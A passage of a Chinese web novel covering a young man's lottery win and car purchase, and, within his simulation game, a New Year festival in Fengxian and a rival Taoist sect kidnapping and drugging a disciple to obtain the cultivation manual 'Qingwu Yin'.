“儿子啊,你知道那地方距离咱这多近不?就公交站牌那里!不过这中奖的人真心大,听说过了一个星期了都不去兑奖!” 房女士好奇:“他们咋知道没兑奖?” 姜爸吃着炒鸡蛋,边开口:“那站点能看到是否领奖了嘛,那刮刮乐还没去兑奖,现在哪有人还能忍得住不赶紧把钱领回家的?肯定是那中奖的人不知道自己中奖了” 本来只当看戏的姜定突然愣住。 等会 怎么感觉和他的情况这么像? 他买了两张,而且确实没刮开,最重要的是,距离他买彩票也正好过了一周 意识到某个可能后,姜定几乎是飞速奔到卫生间去拿那两张刮刮乐。 绿色的刮刮乐还静悄悄的等着他刮开,不知为何,姜定突然有些手抖。 ——靠,这么多相似条件,自己有很大概率中奖啊! 这会摇头,又将脑内想法挥出去。 ——冷静点,自己哪有这么好的运气,站点卖出去的刮刮乐多了,就非要是自己中了? 他一向如此,若是抱有太大期望,最后反而没成就会失落无比,还不如一开始就不抱期望,最后若是成了事便是意外之喜。 这会不自觉抖着手,放缓呼吸,慢慢去刮开那刮刮乐。 等到第一张彩票慢慢刮开时,眼看下方标记和上方的标记重合,姜定僵着脸,仔细对比下面写着的数额。 ——五十万? 这会轻轻将刮刮乐放在一旁,又去刮另一张,等到看到熟悉的标记再次出现,而下方数字为一百万后,姜定感觉自己的心脏似乎要停跳了。 一百万??? 所以说,这一百五十万是他中的? 不对,不合理啊,他没有运气这么好过,要知道这中奖的概率低得要命,总之无论如何,馅饼不会砸到他脑袋上 姜定还在发懵,而姜爸则是一脸疑惑地看他,刚想问,结果就看到自家儿子呆愣愣的拿着两张刮刮乐发呆。 “儿子,干啥呢,不吃饭过来盯着这刮刮乐看,咋的,你中大奖了?” 本来还是调侃,但等看清楚刮刮乐中奖数值后,姜爸也陷入了一种巨大欢喜带来的沉默中。 这会脑袋还在极速运转,心脏跳得快得几乎要爆炸,想说话,但是半天说不出话来。 不知道过了多久,姜爸这才颤抖着掐了自己一把,然后哀嚎出声,激动得眼泪鼻涕流了一脸。 “不是做梦” 姜定终于反应过来,拉着姜爸出去,坐在沙发上。 等到房女士知道这堪称爆炸的消息后,这会呆愣着看他们。 姜定脑内乱哄哄的,这会乖巧搜索如何领奖,等到知晓要去省会城市T城领奖时,他倒是很快做了决定。 坐高铁去,毕竟开车万一路上运气差出车祸了呢?有道是中奖后必须要小心。 这会爸妈也从震撼中回神,一家三口开始小声谈论如何领奖,最终决定姜定和姜爸两个人一起去,全程穿着最普通的衣服,戴个帽子口罩去得了。 按道理一个人去最不容易暴露,但姜定这年纪,房女士无论如何也不放心,这才让姜爸也跟着去,万一有事两个人还能照应。 今天来不及去,在外面住一晚又害怕刮刮乐丢了,两人决定明天赶最早的一班车,然后当天往返。 等到了T城,正是十一点,两人又打车去了附近,然后这才进入领奖中心。 说实话,姜定是第一次来领奖,本以为这里面几乎没几个人,但等看到不少人在其中穿梭时,他原先的紧张感到底是褪了几分。 有人迎了上来问他中的是几等奖,他这才开口:“刮刮乐,一等和二等。” 本以为会赢得一片眼神,但并没有,工作人员明显看中大奖中得多了,丝毫不把他的小奖当回事。 这会只是惯例开口:“6号窗口办理业务。” 姜定和姜爸忙朝着6号窗口走去,这会里面的工作人员开口告诉他们要扣除20%的个人所得税,到手为120万。 “要捐款吗?” 姜定和姜爸对视一眼,立马拒绝。 ——他计划直接捐给做公益的那位杨老,这位是真正草根人物,风评很好,能看到每一笔善款的明细。 等到领到钱,两人这才松了口气。 谈到捐多少时,最后还是姜定咬牙给杨老的公益捐款链接打了十万进去。 他的能力就到这里了,毕竟也不是中了什么特大奖,能拿出十万,他自觉自己做得很不错了。 等到顺利回家,看着卡内的110万,姜定还有些发懵。 姜爸喊他明天去买车,他却有些失眠了。 ——主要是死活没想通这好运气是怎么轮到他的。 但想到白天姜爸的话“运气是守恒的,你以前运气不好,现在时来运转,运气好点也正常”。 顿时又觉得也有几分道理。 这会迷迷糊糊睡去,等到第二天,一家三口去买车,姜定自然选择了最近新出的大米系汽车,外表酷炫,价格还友好,二十万足够。 连续问了三家,最后砍价后,终于优惠拿下小车回家。 当天,姜定就自己开车回去了。 小区的人眼睛毒得很,这会看到姜家给自家孩子买了新车,倒是各个试探,均被姜家爸妈搪塞回去。 “孩子大了,出门总不能老是骑电动车,这不是正巧孩子喜欢这款么,就给买了算了。” 这些人倒是找不出可疑的点来,毕竟这车确实不算贵,而且这理由也能站得住脚,毕竟现在谁家孩子毕业了不给买车? 而且更有人更是知道先前姜定走了狗屎运,卖了个什么游戏就有了四十多万,这会眼看他家白白得来一辆车还有剩余,眼红得要命。 自然谗言。 “大米刚造车一年多,能好开么,你们就是太惯着孩子了,给买个别的车省心。”——这是纯膈应人的。 “孩子喜欢就由他去,我们只看他喜欢就行了。” “大米档次不够呀,你们真是的,以后孩子谈个对象,这车怎么好意思开出去,不得给买个BBA五系?”——这是暗戳戳埋了坏心思的,想让他们将那笔钱全花完,且后续BBA保养维修也是一笔钱。 “差不得就行了,咱们都是普通人家,不搞那些虚的,只要孩子喜欢,够用就行。” 反正不管怎么说,姜爸姜妈最近简直是疲于应对这些爱吃瓜的人。 而姜定则是忍不住在朋友圈发了个自己有车了的动态。 很快,高中同学们纷纷点赞,不少评论都是羡慕嫉妒恨,——这可是白捡的啊! 而姜定则是满意的看到唯独跳过自己动态的王豪。 啧,绝对是心里难受了,他都懂。 而此刻,王豪刚结束加班,点开朋友圈,猝不及防的就被姜定买车的动态炸在视网膜上 靠,不就是运气好,装什么? 一个无业游民。 但这会还是忍不住暗戳戳嫉妒到脸色扭曲。 尤其是想到自己银行卡可怜兮兮的三千块,这会领导还发来信息催促他要趁着明天将报告交给他,今晚注定他是个不眠夜。 这会再看看姜定什么都不用做,就美滋滋的有了一辆新车,还有二十来万存款能躺平一阵子,他就忍不住恼怒地骂了一声,顿觉绷不住。 ——和这种人没话说。 至于那剩余的钱,姜爸给他存了定期,毕竟作为普通人,能守住这笔钱已经很不错了,130万的定期,三年,大概每个月能有3250元利息,至于多出来的6万块,就算是姜定的零花钱了,可以随便买点他想要的东西。 第193章 过年 自从中奖了后,姜定感觉爹妈似乎都不太在意他什么时候能找到工作,平时也懒得催促他,家中氛围一片祥和。 而姜定则是先在网上看好了电脑,打算趁着双十一买一套新的替换现在的这套。 至于为什么不现在买,主要原因自然还是因为双十一更便宜——要知道虽说他现在手里是有点小钱,但总归该省省该花花。 等再次点开熟悉的游戏时,姜定自然是很快投入了游戏。 他做事比较专一,一旦喜欢玩某个游戏,就会一直玩下去,直到这游戏打通关。 等看着游戏内的日期为三月份时,姜定终于是叹了口气。 ——终于到了春天了,能继续发展了。 原先冬季时,种植是没办法进行的,但目前已经三月份,他可以安排下去种植作物了。 风仙县内。 冬日能做的活计确实不多,因家中都有沼气取暖,屋内暖和,百姓们没事干的时候就缩在家里,权当休息了。 毕竟等到一开春,又要开始忙碌了。 而那些在厂子上班的则是日日去上班,一时半会倒是被众人羡慕得紧。 ——这得赚多少钱? 可惜了,自己要是也有机会能谋个工厂工人职位,岂不是也能稳稳当当的赚钱? 众人羡慕不已,但又无奈,现在本县内的工厂数量不够多,只能等日后继续扩建了找机会再进入了。 除了工厂内的工人们还在岗位上继续干活,像是运输业,运输工人,邮差们倒也继续忙活着,毕竟他们的行业比较特殊,越是临近过年,反而更是忙碌。 前来走商的商人们则是想趁着年前购买足够多的东西,好趁着过年去外地售卖掉。 越是临近新年,风仙县内则越是热闹,譬如卖春联的,卖炒货,蜜饯,糕点的,卖祭祖用品的,亦或是卖门神画幅的,只不过比往年多了许多仙师模样的画幅。 虽说画得不如仙师十分之一仙气,但好歹是个念想。 再说了,无论是县令大人,亦或是仙师本人都不曾对这画幅有任何不满,所以这画幅反而卖得更好了。 毕竟仙师的庇护是实打实的,谁不想着买一张求个安稳好运呢! 除却这些必须要买的东西外,手头宽松的人家则是会给家中孩子买口琴,风筝,纸牌这一类娱乐休闲一物作为孩子们的新年玩乐礼物,毕竟一年就给买一次。 原先这类物品卖得很慢,但如今因为人人手头都有些钱,再加上这些东西卖得也价廉亲民,再想想看一年到头了给自家孩子买一个也合理,这会倒是不少人都愿意拿着钱给孩子们买点。 小摊贩乐开了花——谁能想到呢,这都压货好久了,本来就是想着随便拿出来卖卖,碰碰运气,倒是意外的卖爆了。 但很快便想明白其中的关键节点——也就是日子好了,不然百姓手里哪有钱买这个? 小贩们精明得很,眼看风仙县日后绝对会发展得更好,这会自然决定明年应再多进一些货——得趁着百姓手里有钱时多赚点。 自从那七日联合戏曲结束后,寄出去的信件像是鸽子一样往外飞去,等到落入那些流民们的亲朋好友手中时,他们各个都不相信竟真有此地。 毕竟那信件上写的清楚,让他们赶紧投奔风仙县,在此地不仅能够吃饱穿暖,更是有位活神仙负责庇护本县,不知道要比其他地方安全多少! 除了安全以外,众人看清楚那上面所写的种种奇幻之事,倒是各个好奇。 那信件所说,风仙县此地盛产一种名为番薯的神果,吃起来既能填饱肚子,又甜得和蜂蜜一样,且产量还高,还说这等番薯目前都卖不上价格,是此地最常见的吃食。 至于别的新奇之物便是更多了,什么学堂一年只要一两,本县只要干活,工钱最低也是日薪百文,且物价还要比外面低。 里面新奇之物太多,列举出来的许多例子说实话他们并不能看懂,但是有一条众人倒是看得清楚。 比细盐还要精的盐只卖两文钱一斤! 甚至为了举例,还额外邮寄了一点盐巴。 等看到那细腻如同沙子一般的盐巴后,众人难免沉默。 等等,是他听错了对吧? 这种品质的细盐只卖两文钱一斤? 是不是写错了?至少也得是二十文吧??? 但多番对比,好几个人的信件都提及到了这一消息,想来这消息确实是真的。 两文钱一斤的细盐,无疑是个重磅消息,要知道外面的细盐一直都是30文一斤,而且品质还很差,只能是说比粗盐好,但依旧不够细腻好用。 但这么高品质的细盐却只要两文一斤,可见风仙县此地或许真如同好友所说,确实是个桃源地。 有人心动,也有人警惕。 ——两文钱一斤的细盐?他那所谓的朋友还真敢说啊,这明显不合理的事根本不可能发生,很可能是此人有什么坏心思,想骗他过去冒险!毕竟在这乱世中,人心能值多少钱? 这会自然是信的人收拾东西,打算前往风仙县,而不信的人则是冷眼旁观,心想先看看这一批去了的人是什么情况。 当然也有还在纠结犹豫的,总之倒是不少人都知晓了这风仙县的存在。 不过因为都是流民间的消息传递,所以这等消息并未被黎州那边察觉。 等到过年的那日,风仙县倒是热闹得紧,先是县内家家户户挂了灯笼,贴了春联,然后便是放鞭炮,吃团圆饭。 等到新一批前来投奔的流民们刚进了风仙县时,看到的便是这一幅场景。 ——这般热闹的景象,他们已经不知道有多少年没见过了。 素日里连饭都吃不饱,哪里有心情整什么春联,灯笼,眼下倒是被城内传来的香味香得各个狂吸,眼内纷纷流露出激动。 虽说他们目前吃不上东西,但有官府给收拾地方住,且看到风仙县城内和说无差后,众人倒是各个心思活络,都想着赶紧隔离完三天后进去上工。 这会被隔离开,等到吃饭时,官府竟然给他们送过来了饺子。 ——白面猪肉饺子!虽说一个人只有两个,但这可是白给的!别说现在,以往他们就算是想吃白面也得咬咬牙才舍得去买,毕竟小麦实在是金贵。 除却给了饺子外,还给配发了好友信件中所说的番薯,以及别的炒菜,但整体来说,对他们而言,这里和桃源之地没区别。 要知道在外面,他们已经饿了数日了。 这会狼吞虎咽吃饭,一入口,顿时老泪纵横。 ——这绝对是仙赐之物,如此甘甜,像是蜂蜜一样。 小心翼翼的吃着,竟然是连番薯皮也吃了下去。 这炒菜也甚至稀奇,听说是叫做猪肉炖豆腐,这会塞进嘴里,只觉得这名为豆腐一物颇为滑嫩入味,一时间只觉得自己前几十年白活了,竟是不曾吃过这样的美食,这会瞪大眼睛,看了又看,又舍不得的含在嘴里,细细品味这味道。 谁都没想到,官府竟然还给他们吃这般好的东西,要是换做别的地方,别说吃饭,就连城门都不会让他们进来的。 这会端着碗,手不自觉的颤抖,热泪滚入汤碗。 ——番薯真甜,炖菜真咸。 那信中所说,完全是真实存在的,从今往后,哪怕是再苦再累,他也要在这风仙县扎根下来,只有在这里,才会让人觉得活得像是个人。 至于风仙县的官兵们则是看着这群流民眼含热泪,心里也滋生出了几分怜悯之心。 这会趁着换班休息,和同僚低声谈论。 “天天看流民来咱们风仙县,有时候,我真觉得他们怪可怜的。先前我听说,孩子都熬到了城门口,却在临近门前咽了气,等到到了县内,那一对夫妻那叫一个魂不守舍,最后竟要跟着孩子一起去,幸好被同村人给拦住了。” 同僚未免唏嘘。 “这太惨了,要知道就差一点” 差一点那孩子就能来到他们风仙县,重新开始新的人生了。 这种事并不少见,尤其是负责看管流民,时时刻刻便会有这种意外,他们倒也算是看尽了悲欢离合。 但总归是都能重新爬起来,继续开始新的生活。 而此刻,附近县域的开发也是加快了速度。 为了更快的扩张,祝应带领着众人几乎是一刻也不曾停歇,至于现在,已经将一部分流民转移到玉县进行重新开荒,好在人手多的情况下,重新建设并不算特别困难,预计春季前,她们便能拥有三个以上的新的县域可以引流流民。 黎州元城。 因是过年的日子,各个家族倒是卯了劲的购买过年需要的物资,杜百趁着过年这段期间,来回跑了好几次商,倒是赚得盆满钵满。 除却她赚钱外,谈天禄连带着对杜百也是次次看得顺眼极了,这会是真把她当亲侄子看了,毕竟每次一来,杜百都能带给他巨额利润,他怎么能不高兴? 等到杜百给他送了年礼后,谈天禄对她也是更为亲近。 言谈倒是多了几分真情,杜百一一应付,而后边听谈天禄叹息道:“好侄儿,最近我听说这跑商之路不太太平,你可要多加小心,切勿落了那贼人之手。” 字字关心,杜百倒是能看到他说这话还挺真诚的,想想也能理解,毕竟她要是被杀了,他不是白白少了一大笔钱? 这会客套了几句,却见谈天禄神秘地递给她一个盒子。 等到杜百打开时,便看到那里面俨然放着几张符纸。 这会她适当带着疑惑,抬头看向对方。 “这叔伯是何意?” 第194章 暴露 谈天禄看他一副迷惑模样,这会倒是慢慢解释。 “好侄儿,这是我特意去那景旭宫为你求的符咒,若是不幸遇到了流寇,你便可以用这几张符咒脱身。这张是疾跑咒,这张是禁锢术” 杜百倒是没想到谈天禄竟然还会给她去求符咒,这会倒是心中稀奇,但嘴上依旧好奇。 “叔伯,侄儿不过一俗人,不曾看到过那些道士,敢问那景旭宫的道士可真的有神功在身?” 一提起景旭宫,谈天禄自然是有话说。 这会不免回忆先前。 “侄儿有所不知啊,这景旭宫可并非那些山野道士,他们宫内的东西那可是实打实有效果的,若是没有真才实学,如何能成为圣上最信赖的道宫?” 话说杜百对景旭宫的认知就是他们被风仙县困住了不少外门弟子,眼下正在自家县域给做符咒呢。 等听到谈天禄倒是对景旭宫一副顶礼膜拜的模样,倒是让她颇为震撼这景旭宫在此地的地位。 竟然是皇家道宫,看来此道宫确实还是有几把刷子的。 想到先前她曾经听到亲历者描述的风仙县被景旭宫等人攻破的场景,——据说那日景旭宫不知道采用了何术法,竟然能无故召唤出一巨大的金色符咒,操控着符纸伤了不少人。 本来是败局,但幸亏有仙师。 仙师一经出手,来犯的众人自然是被轻而易举的拿下。 但是具体仙师是如何动手的,就连亲历者也说不明白当日的场景,按照他们的话说,那些人身上突然浮现出各种异象,而后便各个吐血身亡,死相凄惨。 杜百并非修炼道法之人,但她能得出的结论——仙师定是最厉害的,虽说景旭宫也有几把刷子,但和仙师比起来依旧不算什么。 但想到仙师事务繁忙,并非日日夜夜都在县内,杜百难免觉得还是要小心一些。 毕竟之前景旭宫展露出来的实力看着也难缠。 不过这会她先收下符纸,对谈天禄道谢后离开黎州。 今日多次跑商,她们只遇到一次袭击,且不等她们出手,仙师的符咒已经派上用场。 那些流寇不等开口,便被符咒击溃。 离得近的全被一网打尽,而离得远的则是各个狂奔逃跑,至此,杜百的商队倒是出了名。 这些流寇都知道他带的商队有钱,但谁敢去试探? 先前眼红的人都丧了命,他们不信邪也跟着去看了,差点没搭上自己。 一想到当日场景,这会了腿肚子还在打颤。 ——那商队身上甚是奇诡,刀剑下去,无伤就算了,还能强行禁锢人,甚至还有更为凶残的喷火等攻击手段,简直让人防不胜防。 消息面小的自然不知道这是道法,只以为是杜家商队有妖神庇护,自然个个不敢造次。 而消息灵通的大流寇则是很快便想到了景旭宫。 毕竟那些术法和景旭宫的手段简直是一模一样,尤其是符纸炸开时,那丝丝缕缕的术法,不是景旭宫出产的符咒还能是谁? 既然如此,那这不就是说,这杜家商行背后真正的人是景旭宫? 要知道景旭宫背景硬着呢,宫内外门弟子众多,内门,长老,甚至还有掌门,哪个不是实力强悍? 稍微思索一番,这些人也歇了想要打劫的心思,——虽说他们也可以花钱购买符纸去抢劫商队,但这很明显要站在景旭宫的对立面。 毕竟小商队惹得起,但谁能惹得起以景旭宫为靠山的商队?那和找死有什么区别? 谁都知道这杜家商行赚了不少,但最终看来盈利像是流回了景旭宫内。 再加上景旭宫虽说作为皇宫专用道宫,但它名声差,是出了名的狠毒,喜欢报复。 若是断了对方来钱的路子,他们毫不怀疑景旭宫立马就能打上门来。 不仅仅是流寇不愿意再牵扯这杜家商队,就连原先起了怀疑心思的谈天禄对手,也逐渐懵逼。 ——怎么回事,所以谈天禄只是给景旭宫打掩护?最终的盈利全部流入到了景旭宫? 一时半会,倒是不敢随意出手,只能无奈放弃这油水一看就很足的商队。 而至于谈天禄慢慢得知此消息后,倒是不免瞪大眼睛,颇为后怕 这杜百竟然和景旭宫有关系,此人心思颇为深沉啊,看着一副天真模样,竟是在不知情时,就将他蒙在鼓里这么久。 想来一开始,自己便入了对方的局,不然一小小杜家商行,如何能拿到这么多堪称奇诡的好东西? 现在一想,这些东西完全是来自于景旭宫搜罗到的,只不过是雇佣杜百给他们售卖而已。 这样一想,原先觉得想不通的节点倒是意外的通畅,这会谈天禄不免暗庆他幸好因为想长期发展,没有故意坑杜百,不然他现在估计也很危险啊。 虽说心中已然觉得杜百是景旭宫的人,但他还不能询问对方。 ——人都隐藏起来不愿意让人知道,他得多没眼色才会想着去问啊! 算了,反正目前他也赚到了不少,这无疑是双赢的局面,又有景旭宫作为后盾,想来这门生意能做很久。 想到先前杜百这小子竟然还能面不改色的骗走了他几枚符咒,谈天禄难免心痛。 早说啊,早知道的话,他这符咒留给自己用不好?非要贱兮兮地上去给他,这会好了,杜百根本就不需要,纯浪费他一番辛苦。 而杜百则是完全不知晓自己的背景已经被谈天禄想得如此深远,这会她正忙着赶路,毕竟最后一单生意暂时算是完成了。 等到再继续,也就是年过了之后。 风仙县。 从景旭宫前来的一众内门弟子,以及负责带队的叶长老则看着风仙县蹙眉。 众人一动不动地钻进被风雪掩埋着的灌木后,眼睛一眨不眨的盯着眼前的风仙县。 经过先前损失一批数量不少的外门弟子后,他们变得小心异常,如果没察觉到准许进入的话,哪怕在外面待着,也不愿意进入城门。 毕竟能进入景旭宫内门弟子的都不是傻瓜,谁愿意为了一个任务,进入一个完全未知的地方?且进去后,大概率会失联,彻底消失。 虽说按照情报所说,进入后大概率会被抓进去当苦工,但若是运气差点的,估计这条命都不够折腾的。 一时间,众人倒是对这风仙县颇为敬畏。 各个不敢轻举妄动。 他们此行的主要目的是为了探查永道宫到底学习了何种术法,而非去上赶着和风仙县内这不知名的存在对抗。 所以在盯着风仙县的同时,他们倒是早就派人用极速符贴在腿上,将附近探查了一遍。 若是能绕过这风仙县直达潜灵山无疑是最好的,但很可惜,若是想进入潜灵山,必须要经过风仙县。 这一番探查结束后,不少内门弟子倒是颇为发愁。 但没办法,毕竟宫内给的时间有限,这会只能先派出三人进入风仙县内试探。 当然了,进入之前,自然是将所有道具,符咒全部卸下,而后才进入城内。 为了安全,挑选的三人都是会武术的人,不至于说毫无反手之力。 等到三人直奔城门而去时,躲在灌木后的众人则是瞪大眼睛,仔细观察着他们。 确认三人顺利通过城门时,众人难免心中欢呼雀跃。 看来那情报是真的,若是不佩戴能引起术法波动的物品,便不会在城墙口就被人拦下。 为了安全,排除是对方钓鱼引他们上钩,他们又耐心等了一周。 直到里面的三人回信说毫无异常,他们这才打算开始下一步。 ——用远距离传送术法传送符纸这些道具。 当然,为了不被发现,他们第一次传送的符纸,道具,术法波动都很低。 等到看到传送阵顺利将东西传递过去后,众人立即开始关注里面的三人状况如何。 三人自然是来到了预备接收东西的位置附近,但为了预防万一,三人离得较远,且躲在暗处。 若是传送后被发现后,不至于说能定位他们,但同时也要确保东西传送过来,三人能保证东西不会被不相干的人看到。 等传送过来的道具慢慢显现出来后,三人先是观察一番,等到确认没有异常后,这才迅速拿了东西就跑。 为了确保安全,道具由一人携带,另外两人则是分散开来,试图观察此人状态。 连续观察三日,确定没有异常后,三人这才对外传递出去消息。 而等在外面的人则在看到此消息后,自然打算继续传递道具,毕竟那些道具不够用。 就这样,陆陆续续转移进去几批次道具,符咒,又额外进入了五名内门弟子作为补充。 此次行动算是开始了。 这便是第一次试验—— 这八人则是在确定任务后,慢慢开始摸索着打探潜灵山。 本以为这地方应该不好打听,但谁能想到随随便便就问出来了。 等到坐上前往去潜灵山的马车时,八个人还有些懵,顿觉不真实。 啊——?不是,怎么这么轻易就被他们打探出来了?按道理这种地方不应该掩埋的很深,需要他们挖掘才能打听出来么? 这会愣了半天,再打探一番,总算是知晓了答案。 “哦,原先没有直接去潜灵山的车子,最近过来了一批小道士,最爱往返潜灵山了,做生意嘛,做哪里不是做,自然就设立了这条路线。” 这话倒是让众人多了几分愕然。 ——车夫口中所说应该就是永道宫那些人了。 看来情报确实没说错。 想再打探一番,倒是再也打探不出来什么有价值的情报。 等到车子停到潜灵山山下时,八人付了钱,不着急进入山中,而是先躲在一旁静静观察。 等确定来往的确有永道宫弟子,且这些人确实如同情报所说,修炼一事有了十足进步,倒是勾得八人各个兴奋不已。 虽说不是为了景旭宫去做这般冒险的事,但事关修炼,这可是大事。 这会等确定得差不多时,有一人先行上山,试图作为试验者前去查看潜灵山内部状况。 为了安全,他携带了不少符咒和道具。 一路小心翼翼,直到攀爬到半山腰都不曾有事出现。 越是靠近山顶,此人便越是没来由的紧张。 毕竟他刚才就看到了,虽说是冬季,但这潜灵山颇为诡异,竟然山顶还维持着绿意,这不是普通术法能做到的,且就算是障眼法,若要维持这样大范围的术法,对道士的要求是很高的。 绝非普通人能做到。 想也能想到,这山顶定然是有什么恐怖人物存在。 抱着十二万分的警戒心,正是继续往前前进时,后脑却突如其来的受到重击。 而后不省人事。 临晕厥前,他似乎感受到了一股和煦的风出现在他后背,最后映入眼帘的是一抹淡青色袍角。 ——这就是那神秘人? 而此刻,姜定则是看着被自己偷袭打晕的NPC发呆。 他正满地图晃悠呢,突然看到了个红名标记的,自然是偷袭拿下。 想点击人物介绍,发现此人连人物介绍都没有,想必不是什么重要角色,倒是能塞进制作符咒的大队伍里,于是他大手一挥,愉快的决定让此人也加入免费制符的队伍。 且更让姜定惊喜的是,这人虽说没有人物介绍,但他制作符咒的效率要比那些外门弟子快多了! 一时间,姜定立马决定封他为免费制符的小组队长。 解决完这人后,姜定倒是还在想些有的没的——要是这种高质量制符人还能多来几个就更好了?话说,他能自己出去狩猎这种人物么? 有些心动。 试图尝试。 尝试失败。 只能安静继续发育。 姜定有些失落——不是,要是能满地图晃悠逮人就好了,这样他很快就能凑够一批免费的劳工,怎么想都是无比划算啊。 但很可惜,游戏目前不知道是没开放还是压根没设计这种剧情,总之他不能这么丧心病狂的操作,只能无奈放弃,老老实实肝。 而与此同时,潜灵山下的七人还在等着上山的同伴。 连续等了两天都没有动静后,七人便知晓同伴多半是遇到意外了。 眼下眼看上山不合适后,七人立即换了策略,改为在山下等着绑架一个落单的永道宫道士,然后从对方嘴里撬开他们的秘密。 这件事说起来容易,但做起来要比想象中的难多了。首先就是他们必须要在远离潜灵山的地点埋伏,且必须要等落单的,以免引来更难控制的对手。 但落单的哪有那么好找,他们正处于蹲点中。 足足蹲了得有快十天,这才找机会逮住了一个落单的永道宫道士。 这七人不愧是被派进来的先锋队,出手迅捷又老练,这会先是将此人身上的联络符拿走,而后将其余符咒全部收缴,这才进行逼供。 但没想到这小小道士倒是挺有骨气,宁死也不肯说,这会七人中作为老大的一人则是淡淡开口。 “你不说?我们便会一直折磨你,直到我们得到消息,或者将你折磨死,去继续蹲守下一个人。” 眼看此人软硬不吃,他们顿时不住地蹙眉。 ——时间有限,既然选择了绑架,必须要尽快问出情报,不然等永道宫察觉到他们的弟子失踪后,自然会派人前来捉捕他们! 这会七人纷纷对视一眼,然后出手打晕此人,将他扛着就跑。 “我们得离开这里,回去让长老处理。” 景旭宫内有秘药可让人开口,若是意志坚定,实在撬不出来情报,也可用搜魂作为最后的手段。 七人快速扛着此人离开,作了一番伪装,倒是顺利离开了风仙县。 而等在外面的人早就等着接应了。 这会看清楚此人正是永道宫弟子后,这会众人忙骑马返回景旭宫。 ——这次任务只能先到这里了,毕竟他们已经用失去一个精锐的代价得出结论,那潜灵山根本没办法上去。 只能等拿到情报后再进行下一步考量。 为了避免被追兵追赶上,此行带队的叶长老甚至动用了难得的远距离传送术法,将这被俘虏的永道宫弟子传送到中间站。 而后再用联络符联络景旭宫那边的人进行接应。 到底景旭宫发展了许久,资源丰富,此行倒是配合得顺畅。 而永道宫则是在第三天才发现了此弟子失踪的消息。 毕竟永道宫一向对弟子约束力度很小,且因为此弟子较为孤僻,所以才没能第一时间发现人失踪了。 等到细数后,仇师祖立马就知晓,此刻追赶显然已经来不及。 他最是了解景旭宫的手段,对方有远距离传送术法,定会将此术法运用到此弟子身上,毕竟他最是清楚不过,那景旭宫是为何而来。 ——为了《青梧引》。 必须要想办法将弟子救助回来。 这件事仇师祖其实是不愿意惊扰仙师的,毕竟他若是作为永道宫宫主,若是连弟子都护不住,还算什么宫主。 再加上最近他们感悟《青梧引》确实让实力提高了一大截,原先因为实力不够而无法使用的道具倒也能用上了。 这会仇师祖立马联络旗下长老,开始讨论如何营救。 好在是《青梧引》功法就算是被景旭宫知晓,他们也没办法使用,毕竟此功法只有投奔仙师,获得那天地亲近,才能修炼成功。 所以好处就是他们不用担心功法会暴露,反而这倒是他们的突破点。 或许可以趁着对方修炼此功法时,他们进行突袭,正所谓趁他死,要他命。 等对方修炼此功法修炼得心脉俱伤时,他们便可一鼓作气反击对方。 当然,此时还需要细密筹划。 除了筹划营救计划外,为了避免弟子们再次被捉走,仇师祖要求众弟子必须出行要有人陪行,日日报备,杜绝隐患。 而景旭宫内,则正对被俘来的永道宫弟子进行了审讯。 一轮审讯后,此人没招。 二轮的话,为了效率,景旭宫直接动用了秘药,此药足以让心志不坚定之人吐露真相。 等到药一用上,不出一炷香,此人总算是颤颤巍巍开口了。 “提升快都是因为《青梧引》” 第195章 误会 《青梧引》——? 此物便是那等奇特的功法? 这便是永道宫最近实力飞速提升的原因? 此刻立马继续追问:“这功法你可能描绘出来?” 那弟子的声音卡在喉咙,又被审讯的人增加了一点药量,继续追问。 等药效上来后,这弟子这才颤抖着将功法全部吐露出来。 等确定功法吐露完毕后,景旭宫长老这才冷笑一声,挥手让人将此人带下去。 “先带下去,等醒了后让此人为我等演示如何修炼这功法。” 等人被带下去后,他们几人这才开始看这所谓的《青梧引》。 等到翻开,细看其内容,又顿觉心惊肉跳。 ——这功法所说可是为真?若修炼此功法竟能引气入体?且更为要命的是,这功法不仅能延年益寿,增加寿命上限,还能更为精准的控制精力,无论是在制符亦或是炼器,炼丹,都有着巨大的好处啊。 且精准控制精力后,用起来更为充裕,也就意味着若是对战时期,这便是决胜负的关键。 想明白这其中的关系,景旭宫几位长老各个脸色纷杂。 “这永道宫走了什么狗屎运,这等逆天神物都能拿到。” “还好我等果断出击,拿到了这等神功,若是让那永道宫继续发展下去,景旭宫衰落是必然的。” 毕竟优势如同滚雪球,一旦被拉开就很难超回来了,就像永道宫当年被他们景旭宫超过,这么多年了,不一直没能超过他们? 要不是运气让对方拿到了这样一本神功,永道宫绝无可能追赶上他们。 但有了这本神功,却能改写这固定的格局。 怪不得永道宫那些老家伙们藏得这么严实,非要让弟子们前去那潜灵山学习新术法,要不是他们派人费劲千辛万苦才打听到这消息,不然等到反应过来后,早就被永道宫反超了! 几人不免后怕,而后各个眼露精光看着这《青梧引》。 ——既然这功法这般强悍,他们自然是要好好研究,而后自行修炼!毕竟据这功法所说,修炼后寿命可达近两百岁! 一时间几人双眼通红,盯着术法就要下手,倒是有一人缓缓开口质疑。 “就是不知道这功法有没有什么副作用,若是没有的话,这等功法岂不是太过于完美?” 叶长老的一番话让几人拉回了理智,这会互相对视一眼,内心依旧火热,只是多了一层浓厚的防备之心。 虽然很不情愿,但这话说得没毛病,世道上绝无那种不需要付出代价,全是好处的功法。 这会虽说心动,但无人敢修炼,都等着那永道宫被俘弟子醒来后演示。 这会几人等不及,这会硬要让手下弟子带着那俘虏弟子前来——就算是要喂宫内秘药也得给他唤醒了,不然他们可等不及. 为了更快唤醒此人,他们甚至用了景旭宫内只有内门弟子争斗的前三名才能用的养魂液给他喝下去,好让他迅速修补被秘药所溃败的魂魄。 一瓶不够,又额外多让他喝了几瓶。 直到叶长老都觉得心疼之际,此人倒是悠悠转醒,这会顾不得心疼,忙捉住他的衣领让他演示。 “小子,你若是乖乖演示,日后便留在我们宫内,无论是荣华富贵,亦或是修炼道具,场所,我们景旭宫都负责。 但前提是,你得老老实实告诉我们这功法的副作用。 选择吧,趁现在你还有选择的机会。” 被俘虏来的永道宫弟子心里直咯噔——完犊子,现在看来,他就算不同意也得被迫同意了。 秘药的药效还在隐秘的发挥作用,若是平时他或许还会挣扎一番,但在药物隐蔽的引诱下,他沉默片刻,而后问:“不会我演示完,你们就要杀了我吧?我得要个保障。” 景旭宫几人纷纷对视一眼,按捺住了隐蔽的杀意,这会叶长老冷笑开口。 “若是平时哪有你和老夫讨价还价的份?不过念你有意投奔我们景旭宫,老夫愿意以道祖发誓,若杀你性命,便让我叶某修为停滞,日后修为不得进寸。” 这等誓言对他们这样的道士确实是实打实的发誓,且是作用于魂魄上,无法抹除的契约,所以一般情况下,不会有人想用道祖来发誓。 